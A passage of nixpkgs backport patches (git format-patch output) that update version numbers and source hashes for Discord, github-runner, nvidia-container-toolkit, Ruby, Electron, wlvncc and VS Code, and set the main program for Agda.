         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-Cu7U70yzHgOAJjtEx85T3x9f1oquNz7VNsX53ISbzKg=";
+        hash = "sha256-69Q8kTfenlmhjptVSQ9Y0AyeViRw+srMExOA7fAlaGw=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From 6db4aefd1da18ce484f20948ddd3ec48ef5c3a89 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 11 Jul 2025 16:41:38 +0000
Subject: [PATCH 2508/4511] pkgsCross.aarch64-darwin.discord-development:
 0.0.94 -> 0.0.96

(cherry picked from commit c481da90f98f95d2410bffa0fc065f7ed2626b6d)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index d27c5fa505bb..2f72810dce81 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -19,7 +19,7 @@ let
         stable = "0.0.353";
         ptb = "0.0.181";
         canary = "0.0.823";
-        development = "0.0.94";
+        development = "0.0.96";
       };
   version = versions.${branch};
   srcs = rec {
@@ -56,7 +56,7 @@ let
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";
-        hash = "sha256-+bmzdkOSMpKnLGEoeXmAJSv2UHzirOLe1HDHAdHG2U8=";
+        hash = "sha256-fe7yE+dxEATIdfITg57evbaQkChCcoaLrzV+8KwEBws=";
       };
     };
     aarch64-darwin = x86_64-darwin;

From 2296ed31bc131fcded20b2178a209a338a86b751 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Na=C3=AFm=20Camille=20Favier?= <n@monade.li>
Date: Wed, 16 Jul 2025 18:08:26 +0200
Subject: [PATCH 2509/4511] haskellPackages.Agda: set `mainProgram`

(cherry picked from commit 30cee69bb9ccfb280a9edafbb39b7eef713de47b)
---
 pkgs/build-support/agda/default.nix                    | 4 ++--
 pkgs/development/haskell-modules/configuration-nix.nix | 2 ++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/build-support/agda/default.nix b/pkgs/build-support/agda/default.nix
index 957b423c31f6..2c6b53ea1abf 100644
--- a/pkgs/build-support/agda/default.nix
+++ b/pkgs/build-support/agda/default.nix
@@ -65,10 +65,10 @@ let
       }
       ''
         mkdir -p $out/bin
-        makeWrapper ${Agda.bin}/bin/agda $out/bin/agda \
+        makeWrapper ${lib.getExe Agda} $out/bin/agda \
           --add-flags "--with-compiler=${ghc}/bin/ghc" \
           --add-flags "--library-file=${library-file}"
-        ln -s ${Agda.bin}/bin/agda-mode $out/bin/agda-mode
+        ln -s ${lib.getExe' Agda "agda-mode"} $out/bin/agda-mode
       '';
 
   withPackages = arg: if isAttrs arg then withPackages' arg else withPackages' { pkgs = arg; };
diff --git a/pkgs/development/haskell-modules/configuration-nix.nix b/pkgs/development/haskell-modules/configuration-nix.nix
index 59d67c1f7f34..35b6c7877049 100644
--- a/pkgs/development/haskell-modules/configuration-nix.nix
+++ b/pkgs/development/haskell-modules/configuration-nix.nix
@@ -1352,6 +1352,8 @@ builtins.intersectAttrs super {
     # very useful.
     # Flag added in Agda 2.6.4.1, was always enabled before
     (enableCabalFlag "debug")
+    # Set the main program
+    (overrideCabal { mainProgram = "agda"; })
     # Split outputs to reduce closure size
     enableSeparateBinOutput
   ];

From 4b3f79c01521fb6dc0f2377babcd3f680c7fb651 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 04:07:10 +0000
Subject: [PATCH 2510/4511] github-runner: 2.325.0 -> 2.326.0

(cherry picked from commit 762726b2a1924ac756779dad7643ec9108244848)
---
 pkgs/by-name/gi/github-runner/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gi/github-runner/package.nix b/pkgs/by-name/gi/github-runner/package.nix
index 70172aedfd6c..5ff33b4f73b0 100644
--- a/pkgs/by-name/gi/github-runner/package.nix
+++ b/pkgs/by-name/gi/github-runner/package.nix
@@ -25,13 +25,13 @@ assert builtins.all (x: builtins.elem x [ "node20" ]) nodeRuntimes;
 
 buildDotnetModule (finalAttrs: {
   pname = "github-runner";
-  version = "2.325.0";
+  version = "2.326.0";
 
   src = fetchFromGitHub {
     owner = "actions";
     repo = "runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Ic/+bdEfipyOB7jA+SXBuyET6ERu6ox+SdlLy4mbuqw=";
+    hash = "sha256-bKOxTV6iAvC+QOsfSs1hTS9k/Ou+YGEwTr5hew23cLY=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git-revision

From b2f2caa23d73f4b29560e9f777bb3ccf4839e629 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 17 May 2025 01:36:11 +0000
Subject: [PATCH 2511/4511] nvidia-container-toolkit: 1.17.6 -> 1.17.7

(cherry picked from commit fe22541e74555fc87dd541e0d7c41d13adff3bde)
---
 pkgs/by-name/nv/nvidia-container-toolkit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
index 7543a52d4634..d1c3c474c03e 100644
--- a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
+++ b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
@@ -27,13 +27,13 @@ let
 in
 buildGoModule rec {
   pname = "nvidia-container-toolkit";
-  version = "1.17.6";
+  version = "1.17.7";
 
   src = fetchFromGitHub {
     owner = "NVIDIA";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-MQQTQ6AaoA4VIAT7YPo3z6UbZuKHjOvu9sW2975TveM=";
+    hash = "sha256-AQi61oot4fdMvQ8A139AvygxN9U7EM1YkJau3zAy3+I=";
 
   };
 

From 97699faa43882d563aaae8badded3e2932ff1b94 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 7 Jun 2025 04:38:24 +0000
Subject: [PATCH 2512/4511] nvidia-container-toolkit: 1.17.7 -> 1.17.8

(cherry picked from commit 5189f3a24b6ff439ae8bf4f148c9a56813ecd756)
---
 pkgs/by-name/nv/nvidia-container-toolkit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
index d1c3c474c03e..61be798f5a06 100644
--- a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
+++ b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
@@ -27,13 +27,13 @@ let
 in
 buildGoModule rec {
   pname = "nvidia-container-toolkit";
-  version = "1.17.7";
+  version = "1.17.8";
 
   src = fetchFromGitHub {
     owner = "NVIDIA";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-AQi61oot4fdMvQ8A139AvygxN9U7EM1YkJau3zAy3+I=";
+    hash = "sha256-B17cPxdrQ8qMNgFh4XcDwwKryukMrn0GV2LNPHM7kBo=";
 
   };
 

From 2fa4f5d6c3706196445eed6a6a11a78396d07d1b Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Wed, 16 Jul 2025 06:48:14 +1000
Subject: [PATCH 2513/4511] ruby_3_4: 3.4.4 -> 3.4.5

Release: https://github.com/ruby/ruby/releases/tag/v3_4_5
(cherry picked from commit d54698c0cb2106aa65a5d59d3829e1bbe7688a7b)
---
 pkgs/development/interpreters/ruby/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/ruby/default.nix b/pkgs/development/interpreters/ruby/default.nix
index 2a190c70dfce..2e388e389b4d 100644
--- a/pkgs/development/interpreters/ruby/default.nix
+++ b/pkgs/development/interpreters/ruby/default.nix
@@ -435,8 +435,8 @@ in
   };
 
   ruby_3_4 = generic {
-    version = rubyVersion "3" "4" "4" "";
-    hash = "sha256-oFl7/fMS4BDv0e/6qNfx14MxRv3BeVDKqBWP+j3L+oU=";
+    version = rubyVersion "3" "4" "5" "";
+    hash = "sha256-HYjYontEL93kqgbcmehrC78LKIlj2EMxEt1frHmP1e4=";
     cargoHash = "sha256-5Tp8Kth0yO89/LIcU8K01z6DdZRr8MAA0DPKqDEjIt0=";
   };
 }

From fae98fdd870e00020cdf7989eb1619d9a2e1e04d Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 16 Jul 2025 12:24:27 +0200
Subject: [PATCH 2514/4511] electron-source.electron_35: 35.7.1 -> 35.7.2

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.1...v35.7.2

(cherry picked from commit 1506db4391909e932cbfa4704dbaa773f1b18db6)
---
 pkgs/development/tools/electron/info.json | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 22ae2b01ece1..cb99b3c7f0e0 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-jdLAmuRf4nw/N8J7FDZwdG/+BXcoD2zVLsur+iNT4gM=",
+                    "hash": "sha256-8dTfWg8fn3KIwk88/Bm01To1G+6UQGjQ/4lMUQvl0Js=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.7.1"
+                    "tag": "v35.7.2"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1303,10 +1303,10 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "1p9gs8s1zhwxvvmi9zb76k5nn1wly4yq0i12ibr0wvw5ls8bbars",
+        "electron_yarn_hash": "0knjrmn5kcr72s8zz642fyy0g1f8780v15f8pb8xbhs5bwa3c4m8",
         "modules": "133",
         "node": "22.16.0",
-        "version": "35.7.1"
+        "version": "35.7.2"
     },
     "36": {
         "chrome": "136.0.7103.177",

From 4a88bad21c4e5d4516a3efe4835c911e28beafd7 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 16 Jul 2025 12:31:56 +0200
Subject: [PATCH 2515/4511] electron-source.electron_37: 37.2.1 -> 37.2.2

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.1...v37.2.2

(cherry picked from commit f4a288b1439f0b8104c58793b3c4b40f09f4196a)
---
 pkgs/development/tools/electron/info.json | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index cb99b3c7f0e0..bccecd057e11 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.7.1"
     },
     "37": {
-        "chrome": "138.0.7204.97",
+        "chrome": "138.0.7204.100",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.97"
+            "version": "138.0.7204.100"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-jBRcCFsjel8zBJfcgrYy59SzyYphm01zscYtGo0YFhM=",
+                    "hash": "sha256-No95HLCZzwbnG1vSTl/e1hftLDBo6CYIb2qTPs9AobU=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.97",
+                    "tag": "138.0.7204.100",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-iJiKkKLDbcXnWDi0ZHq6xHB65cm1GsU1gffCPQSNc3Q=",
+                    "hash": "sha256-xd96/h+3ECAN6pooHU5tcAsL7bcLHrifWreP+lRFfJk=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.2.1"
+                    "tag": "v37.2.2"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2988,8 +2988,8 @@
             },
             "src/third_party/devtools-frontend/src": {
                 "args": {
-                    "hash": "sha256-7ygnGBAeiLxwbTx5s7LRs9+ZOe06tr8VFcSY5cVHnS4=",
-                    "rev": "f8dfe8b36e516cef8a5a169e88d16480d8abdc68",
+                    "hash": "sha256-XkyJFRxo3ZTBGfKdTwSIo14SLNPQAKQvY4lEX03j6LM=",
+                    "rev": "a6dbe06dafbad00ef4b0ea139ece1a94a5e2e6d8",
                     "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3961,9 +3961,9 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
+        "electron_yarn_hash": "167apz9905pfmvq1i34dzcjbzmg3i8jbm27al2xs9lka0rr2qr07",
         "modules": "136",
         "node": "22.17.0",
-        "version": "37.2.1"
+        "version": "37.2.2"
     }
 }

From ca8de1bbec4069408772d8f2368f629dac38beb6 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 16 Jul 2025 12:32:12 +0200
Subject: [PATCH 2516/4511] electron_35-bin: 35.7.1 -> 35.7.2

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.1...v35.7.2

(cherry picked from commit 10ac3beb9089e5e164a508e84e3d2a20241ea2b1)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index e731d8bd9dde..27b61d1041bd 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "3330a8d349689a341cf0f5f126388ce2c1678c6f8760ba6456eb92d6a6fb87c4",
-            "aarch64-linux": "148ede01556ac18a24d97db60a13346115993a73da40963968da2e951260474f",
-            "armv7l-linux": "fd5fda4137cf9d617c50315eb16710849419b5c60d9cc304b7b5615d8f0fa47f",
+            "aarch64-darwin": "bb266a3687a82e60a97e96ef86c8e6339770d55ab18bc7db6fdf772f212b8f3a",
+            "aarch64-linux": "75f83326b0a5e0c3b04a8286b5dd1c9802d0d5d74f14ae2beba309c474ab4747",
+            "armv7l-linux": "84c8e6dfd311ce62cc9481d3e179ed05fc898c8edf02775ef1749e36b54042b1",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "517a770abc9072b2f5335cc0af763fe2e2953fa89d9564640eb75f0eccb2794a",
-            "x86_64-linux": "bddc5a6a1e496e9b87819315dcf188b9b0f7ea8f389d2f4b8326b8d7e0afe956"
+            "x86_64-darwin": "63125423f0ec39dce4d116ff1b56333f24b865e179a3369eff285d42744ca16b",
+            "x86_64-linux": "3aad1702f4c542b637915cdff330281b458417ab099f90c6ef0b30b4df2451d3"
         },
-        "version": "35.7.1"
+        "version": "35.7.2"
     },
     "36": {
         "hashes": {

From 169af04487c9c2385220c74e579930aa59b6142f Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 16 Jul 2025 12:32:14 +0200
Subject: [PATCH 2517/4511] electron-chromedriver_35: 35.7.1 -> 35.7.2

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.1...v35.7.2

(cherry picked from commit be2dca5a9d0a52b72a14816f54181a18a6ef5fbc)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index e7054bf8ef0c..faebde3ea4c0 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "2760c01ae0a292a1d20d3d2fab52120800d5734156e71671b458c6539fd24eee",
-            "aarch64-linux": "038555b79c6f0fdf287cbd1943f9c8109e24c88290d6c4b2947159287129daca",
-            "armv7l-linux": "1b9350313d5fdf4774a51d7b8a4149d49d3ca86e789e682794b0499b54e9ae3f",
+            "aarch64-darwin": "392ec250c65a1448871369318ca15f50c1de1f2afe886fc9e23b31a6484dfaf9",
+            "aarch64-linux": "7f2d0c92979972becbd437b70927c2ee3e42b4ee0dd40fa80e5bb25df2ac9969",
+            "armv7l-linux": "c6a334186af0ac33c81ac8212c99eeb5f67604d0aa84adb574cdc3fc9065a355",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "f9ff3b3eb747a2fa0e98e6c408a52e4272d05e477aaa3442debc587e823b385d",
-            "x86_64-linux": "29d379865c8b72645b3d81585af308ebb96cca0c500191bfd042f844d01fa9b8"
+            "x86_64-darwin": "d40fdfa7b7ae6e558b036b38e3fddf090b0685e5f40d7dce335a5fa350fb8fb5",
+            "x86_64-linux": "c8bc2c6beba2654e7ec39e8b8e2e2375bbff411d8c501c933aed27af6c6c1f8b"
         },
-        "version": "35.7.1"
+        "version": "35.7.2"
     },
     "36": {
         "hashes": {

From b287a4e22a37138053c0b2028269dbd66d63707f Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 16 Jul 2025 12:32:24 +0200
Subject: [PATCH 2518/4511] electron_37-bin: 37.2.1 -> 37.2.2

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.1...v37.2.2

(cherry picked from commit 5744938bfa4237a3a060096e97c2b4473762f85c)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 27b61d1041bd..f51700cdfa6c 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "2f381bb274fc0cb8d3a2bfeadc5dfd84b044305cdd02c7d19234e40e90ac03a9",
-            "aarch64-linux": "fa2a494dd7541ef1184f20ebb56508c84f00e716ce43583cf62c4ba47d4dfcad",
-            "armv7l-linux": "f50dc1e573bee739e2a22ffde1ae503b806e38a09a2ade448374e5181a4edf89",
-            "headers": "18w6pjbs29aqvdiscwl55ajvpib63y4q7g7y4q7hy0nr2vvzycja",
-            "x86_64-darwin": "04112012bae4566b04f636e3101d2ced4522b2c60357a83eaec7cdbda7c036d2",
-            "x86_64-linux": "8f61fba601660839be53625197d836d0e8c8066a54ecc7be468093e4fb6c824b"
+            "aarch64-darwin": "8c8f393de428c03062a35d945f6cf4dc2ad41a98bae5c644fb973473cd13552f",
+            "aarch64-linux": "ccd19d8cbb8efc876c52345eefa884fc618f6a375f0764dc71c1b4341c6b378e",
+            "armv7l-linux": "632f7babe954f4293c45414f7f72ff8d1f76c344e10d2b795a08e93a2bba62b9",
+            "headers": "07n5hlb93l3v6f1x122yhnbn2x0a8cin3is7jqjfky0lacvl0bwa",
+            "x86_64-darwin": "924b1a15398c296eac196e96caf6bf76a236b38e3f23f14b898d8eb902f68ddd",
+            "x86_64-linux": "30bb4de4a63af55615c292aaac025f4c8422b67db7d6b4b8cfd82ee97ad939f8"
         },
-        "version": "37.2.1"
+        "version": "37.2.2"
     }
 }

From 583a314a6409f22b8711b19e3fbc490fe70b2a33 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 16 Jul 2025 12:32:28 +0200
Subject: [PATCH 2519/4511] electron-chromedriver_37: 37.2.1 -> 37.2.2

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.1...v37.2.2

(cherry picked from commit 841eeeb702a1aa32b78b8e1ff7e0e9d3d787264b)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index faebde3ea4c0..4e8e46075888 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "20a854527dac40c643faefa3bd96cc7edc633399da825ff89b67ab5b03728b42",
-            "aarch64-linux": "9b9810af731ca62c75ba49339943e4b251ccba8b0890f0933dfa831333a778ff",
-            "armv7l-linux": "5b36d24fe9c6b26b4734ac70f35f6fd50098175acb207fc87187be4fb38ebb4e",
-            "headers": "18w6pjbs29aqvdiscwl55ajvpib63y4q7g7y4q7hy0nr2vvzycja",
-            "x86_64-darwin": "8398fa0578a60eebb90436749d66d09e23bf4a0c705117bbfa455cb4a5b19746",
-            "x86_64-linux": "413b3e0fb051953d97c920a480ebe364bcd668f31a5ae51c3472d4007bfe4dc5"
+            "aarch64-darwin": "64e21bee8c6f203879a64c90e7b0601809ecaad0e8760d00c427e12d8959f244",
+            "aarch64-linux": "4c497c05b2abf7a1323302f35df68612cab3f957be9152d939aa6defd0f4e3dc",
+            "armv7l-linux": "01d05956b313457795fe1c3450558cb9bf9d68cc26720b91d89ce4554b1f3060",
+            "headers": "07n5hlb93l3v6f1x122yhnbn2x0a8cin3is7jqjfky0lacvl0bwa",
+            "x86_64-darwin": "2682d646495cb7d0fadde52e52c5ac64bf98677563f7f688f32169c7efee43ba",
+            "x86_64-linux": "40c0bbb6a4a2630ea7e0fbcfaa24f62d06ab56991bb7cb4a508936d82f456543"
         },
-        "version": "37.2.1"
+        "version": "37.2.2"
     }
 }

From 81336b0c94ddc31496a711db3bc18c250859310d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 12 Jun 2025 15:39:14 +0000
Subject: [PATCH 2520/4511] wlvncc: 0-unstable-2025-04-21 ->
 0-unstable-2025-04-20

(cherry picked from commit c6431176fac15ee8ff2181b28466549e5f6d5448)
---
 pkgs/by-name/wl/wlvncc/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/wl/wlvncc/package.nix b/pkgs/by-name/wl/wlvncc/package.nix
index 197ffc7a98f9..e4d1b1a68315 100644
--- a/pkgs/by-name/wl/wlvncc/package.nix
+++ b/pkgs/by-name/wl/wlvncc/package.nix
@@ -27,7 +27,7 @@
 
 stdenv.mkDerivation {
   pname = "wlvncc";
-  version = "0-unstable-2025-04-21";
+  version = "0-unstable-2025-04-20";
 
   src = fetchFromGitHub {
     owner = "any1";

From dc4a0423ec59709fe54a146023c13629b8ce17ec Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 11 Jul 2025 19:31:53 +0000
Subject: [PATCH 2521/4511] wlvncc: 0-unstable-2025-04-20 ->
 0-unstable-2025-07-07

(cherry picked from commit a143f72199562a060730d34dbf84ea9b5ec78220)
---
 pkgs/by-name/wl/wlvncc/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wl/wlvncc/package.nix b/pkgs/by-name/wl/wlvncc/package.nix
index e4d1b1a68315..33209a300ed9 100644
--- a/pkgs/by-name/wl/wlvncc/package.nix
+++ b/pkgs/by-name/wl/wlvncc/package.nix
@@ -27,13 +27,13 @@
 
 stdenv.mkDerivation {
   pname = "wlvncc";
-  version = "0-unstable-2025-04-20";
+  version = "0-unstable-2025-07-07";
 
   src = fetchFromGitHub {
     owner = "any1";
     repo = "wlvncc";
-    rev = "a6a5463a9c69ce4db04d8d699dd58e1ba8560a0a";
-    hash = "sha256-8p2IOQvcjOV5xe0c/RWP6aRHtQnu9tYI7QgcC13sg4k=";
+    rev = "bc6063aeacd4fbe9ac8f58f4ba3c5388b3e1f1f2";
+    hash = "sha256-Udu/CtrNBqnlgZCK2cS8VWNTfHJGXdijTnNIWnAW2Nw=";
   };
 
   nativeBuildInputs = [

From eb644f439b8a82e06c3ac95f92f4979893493292 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Fri, 20 Jun 2025 06:08:19 +0800
Subject: [PATCH 2522/4511] vscode: 1.101.0 -> 1.101.1

(cherry picked from commit 3dc604edfe4f1d1aa7e120fdb9dd776f0457f046)
---
 pkgs/applications/editors/vscode/vscode.nix | 28 ++++++++++-----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index fe6a730936b2..1a49065fdcfb 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -1,7 +1,7 @@
 {
+  lib,
   stdenv,
   stdenvNoCC,
-  lib,
   callPackage,
   fetchurl,
   nixosTests,
@@ -34,24 +34,24 @@ let
 
   archive_fmt = if stdenv.hostPlatform.isDarwin then "zip" else "tar.gz";
 
-  sha256 =
+  hash =
     {
-      x86_64-linux = "1zc64d1n84kzwmwh8m3j897di5955qlm7glnpjvl8g7q70b4rdax";
-      x86_64-darwin = "04ycsad1khxjmiph9fk9449w942m8gmq65amwkf8jxqzn0rybh76";
-      aarch64-linux = "0lhqmp59vccs35fksgvdgvw82b0mr9b2wlyafxlwb8pk2q0l0xga";
-      aarch64-darwin = "1axzsk6xqlzs3j9irjxp5f4fbdxyi4fffhdk89h45q3zkw8m9m4i";
-      armv7l-linux = "1rv3a8xj7iv1d8mfikpj58n398ww5cndbyvgy5328nj7dh6azrsw";
+      x86_64-linux = "sha256-Rr7JNWloV4VkgGk9zDEnD/WRHSYv5su8UrOSIl3247c=";
+      x86_64-darwin = "sha256-hHAJVmFKwD0Z8YyqvNlM4SpWnSIniVvdMwR3fhk/mKE=";
+      aarch64-linux = "sha256-/pYykG/1IJU7aJ9wtO5oo3dUdCGtfxklre0SGMpgnq8=";
+      aarch64-darwin = "sha256-pWMCQlgxoJ4EGfycuz3H76r9Sc3x006el1ITOM6E4wE=";
+      armv7l-linux = "sha256-M0fK1n/HMuNQvN85I4g5GV8QAg3n6vQtR6V/B1PFAwQ=";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.101.0";
+  version = "1.101.1";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "dfaf44141ea9deb3b4096f7cd6d24e00c147a4b1";
+  rev = "18e3a1ec544e6907be1e944a94c496e302073435";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -61,7 +61,7 @@ callPackage ./generic.nix rec {
   src = fetchurl {
     name = "VSCode_${version}_${plat}.${archive_fmt}";
     url = "https://update.code.visualstudio.com/${version}/${plat}/stable";
-    inherit sha256;
+    inherit hash;
   };
 
   # We don't test vscode on CI, instead we test vscodium
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      sha256 = "0rjd4f54k58k97gxvnivwj52aha5s8prws1izvmg43vphhfvk014";
+      hash = "sha256-Myq0OUrwv6bq53Q5FDCVtt+wfGlEX2bjz9CMeVLfd+4=";
     };
     stdenv = stdenvNoCC;
   };
@@ -91,7 +91,7 @@ callPackage ./generic.nix rec {
 
   hasVsceSign = true;
 
-  meta = with lib; {
+  meta = {
     description = ''
       Open source source code editor developed by Microsoft for Windows,
       Linux and macOS
@@ -106,8 +106,8 @@ callPackage ./generic.nix rec {
     '';
     homepage = "https://code.visualstudio.com/";
     downloadPage = "https://code.visualstudio.com/Updates";
-    license = licenses.unfree;
-    maintainers = with maintainers; [
+    license = lib.licenses.unfree;
+    maintainers = with lib.maintainers; [
       eadwu
       synthetica
       bobby285271

From 5e62131da678d6ae1f52ebb36a5ffcc259d034aa Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Fri, 20 Jun 2025 06:11:51 +0800
Subject: [PATCH 2523/4511] vscode: update update-vscode.sh

(cherry picked from commit 606367f7be1bf1912a036d86db0738a2fef86297)
---
